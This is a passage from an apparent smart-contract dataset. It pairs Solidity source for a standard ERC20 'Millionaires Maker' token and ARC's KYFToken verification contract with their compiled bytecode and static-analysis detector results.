815260200191505060405180910390a2505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630d2020dd836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b158015610f4d57600080fd5b505af1158015610f61573d6000803e3d6000fd5b505050506040513d6020811015610f7757600080fd5b810190808051906020019092919050505090509190505600a165627a7a72305820ea3486edd02ee2c9a61e1558d1fe7f592b2ee8dd74b691632751651e539605210029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 5,110 |
0xb625388c4300802cdd19f2c86a13bf74159adc76
|
// SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'Millionaires Maker' contract
//
// Symbol : mmkr
// Name : Millionaires Maker
// Total supply: 100 000 000 000 000
// Decimals : 18
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract mmkr is BurnableToken {
string public constant name = "Millionaires Maker";
string public constant symbol = "mmkr";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 100000000000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a14565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bda565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6b565b6040518082815260200191505060405180910390f35b6103b1610eb4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f11565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e5565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e1565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611368565b005b6040518060400160405280601281526020017f4d696c6c696f6e6169726573204d616b6572000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ce90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b790919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a655af3107a40000281565b60008111610a2157600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6d57600080fd5b6000339050610ac482600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b790919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1c826001546114b790919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ceb576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7f565b610cfe83826114b790919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600481526020017f6d6d6b720000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4c57600080fd5b610f9e82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103382600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ce90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117682600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ce90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113c057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113fa57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c357fe5b818303905092915050565b6000808284019050838110156114e057fe5b809150509291505056fea2646970667358221220a9fecf665b123513320b8c8a549959b0cbfa6fb86d9b4bf3c594c9f73b6db27e64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 5,111 |
0xD85e2772912213e0c584d80B2694c79D6a09E39A
|
/*
/ | __ / ____|
/ | |__) | | |
/ / | _ / | |
/ ____ | | | |____
/_/ _ |_| _ _____|
* ARC: token/KYFToken.sol
*
* Latest source (may be newer): https://github.com/arcxgame/contracts/blob/master/contracts/token/KYFToken.sol
*
* Contract Dependencies:
* - Context
* - Ownable
* Libraries: (none)
*
* MIT License
* ===========
*
* Copyright (c) 2020 ARC
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
/* ===============================================
* Flattened with Solidifier by Coinage
*
* https://solidifier.coina.ge
* ===============================================
*/
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
interface IKYFV2 {
function checkVerified(
address _user
)
external
view
returns (bool);
}
// SPDX-License-Identifier: MIT
contract KYFToken is Ownable {
/* ========== Variables ========== */
mapping (address => bool) public kyfInstances;
address[] public kyfInstancesArray;
/* ========== Events ========== */
event KyfStatusUpdated(address _address, bool _status);
/* ========== View Functions ========== */
function isVerified(
address _user
)
public
view
returns (bool)
{
for (uint256 i = 0; i < kyfInstancesArray.length; i++) {
IKYFV2 kyfContract = IKYFV2(kyfInstancesArray[i]);
if (kyfContract.checkVerified(_user) == true) {
return true;
}
}
return false;
}
/* ========== Owner Functions ========== */
function setApprovedKYFInstance(
address _kyfContract,
bool _status
)
public
onlyOwner
{
if (_status == true) {
kyfInstancesArray.push(_kyfContract);
kyfInstances[_kyfContract] = true;
emit KyfStatusUpdated(_kyfContract, true);
return;
}
// Remove the kyfContract from the kyfInstancesArray array.
for (uint i = 0; i < kyfInstancesArray.length; i++) {
if (address(kyfInstancesArray[i]) == _kyfContract) {
delete kyfInstancesArray[i];
kyfInstancesArray[i] = kyfInstancesArray[kyfInstancesArray.length - 1];
// Decrease the size of the array by one.
kyfInstancesArray.length--;
break;
}
}
// And remove it from the synths mapping
delete kyfInstances[_kyfContract];
emit KyfStatusUpdated(_kyfContract, false);
}
/* ========== ERC20 Functions ========== */
/**
* @dev Returns the name of the token.
*/
function name()
public
view
returns (string memory)
{
return "ARC KYF Token";
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol()
public
view
returns (string memory)
{
return "ARCKYF";
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals()
public
view
returns (uint8)
{
return 0;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply()
public
view
returns (uint256)
{
return kyfInstancesArray.length;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(
address account
)
public
view
returns (uint256)
{
if (isVerified(account)) {
return 1;
}
return 0;
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(
address spender,
uint256 amount
)
public
returns (bool)
{
return false;
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(
address recipient,
uint256 amount
)
public
returns (bool)
{
return false;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return 0;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
)
public
returns (bool)
{
return false;
}
}
|
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c8063715018a6116100a2578063a9059cbb11610071578063a9059cbb146104dc578063b9209e3314610542578063dd62ed3e1461059e578063f1f0397b14610616578063f2fde38b146106665761010b565b8063715018a6146103e35780638da5cb5b146103ed5780638f32d59b1461043757806395d89b41146104595761010b565b8063313ce567116100de578063313ce5671461029d5780633ac65c9d146102c1578063416dfbd21461032f57806370a082311461038b5761010b565b806306fdde0314610110578063095ea7b31461019357806318160ddd146101f957806323b872dd14610217575b600080fd5b6101186106aa565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015857808201518184015260208101905061013d565b50505050905090810190601f1680156101855780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101df600480360360408110156101a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e7565b604051808215151515815260200191505060405180910390f35b6102016106f2565b6040518082815260200191505060405180910390f35b6102836004803603606081101561022d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106ff565b604051808215151515815260200191505060405180910390f35b6102a561070b565b604051808260ff1660ff16815260200191505060405180910390f35b6102ed600480360360208110156102d757600080fd5b8101908080359060200190929190505050610713565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061074f565b604051808215151515815260200191505060405180910390f35b6103cd600480360360208110156103a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061076f565b6040518082815260200191505060405180910390f35b6103eb610792565b005b6103f56108cb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61043f6108f4565b604051808215151515815260200191505060405180910390f35b610461610952565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104a1578082015181840152602081019050610486565b50505050905090810190601f1680156104ce5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610528600480360360408110156104f257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061098f565b604051808215151515815260200191505060405180910390f35b6105846004803603602081101561055857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061099a565b604051808215151515815260200191505060405180910390f35b610600600480360360408110156105b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ad3565b6040518082815260200191505060405180910390f35b6106646004803603604081101561062c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610ade565b005b6106a86004803603602081101561067c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ed1565b005b60606040518060400160405280600d81526020017f415243204b594620546f6b656e00000000000000000000000000000000000000815250905090565b600080905092915050565b6000600280549050905090565b60008090509392505050565b600080905090565b6002818154811061072057fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016020528060005260406000206000915054906101000a900460ff1681565b600061077a8261099a565b15610788576001905061078d565b600090505b919050565b61079a6108f4565b61080c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610936610f57565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b60606040518060400160405280600681526020017f4152434b59460000000000000000000000000000000000000000000000000000815250905090565b600080905092915050565b600080600090505b600280549050811015610ac8576000600282815481106109be57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600115158173ffffffffffffffffffffffffffffffffffffffff16636cc8c590866040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610a6c57600080fd5b505afa158015610a80573d6000803e3d6000fd5b505050506040513d6020811015610a9657600080fd5b810190808051906020019092919050505015151415610aba57600192505050610ace565b5080806001019150506109a2565b50600090505b919050565b600080905092915050565b610ae66108f4565b610b58576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600115158115151415610c975760028290806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060018060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f5116366dc231e0fa2af6a321a8b23373d92eb5af2be1f96bac6b54848996ba85826001604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a1610ecd565b60008090505b600280549050811015610e0c578273ffffffffffffffffffffffffffffffffffffffff1660028281548110610cce57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610dff5760028181548110610d2257fe5b9060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600260016002805490500381548110610d6457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660028281548110610d9c57fe5b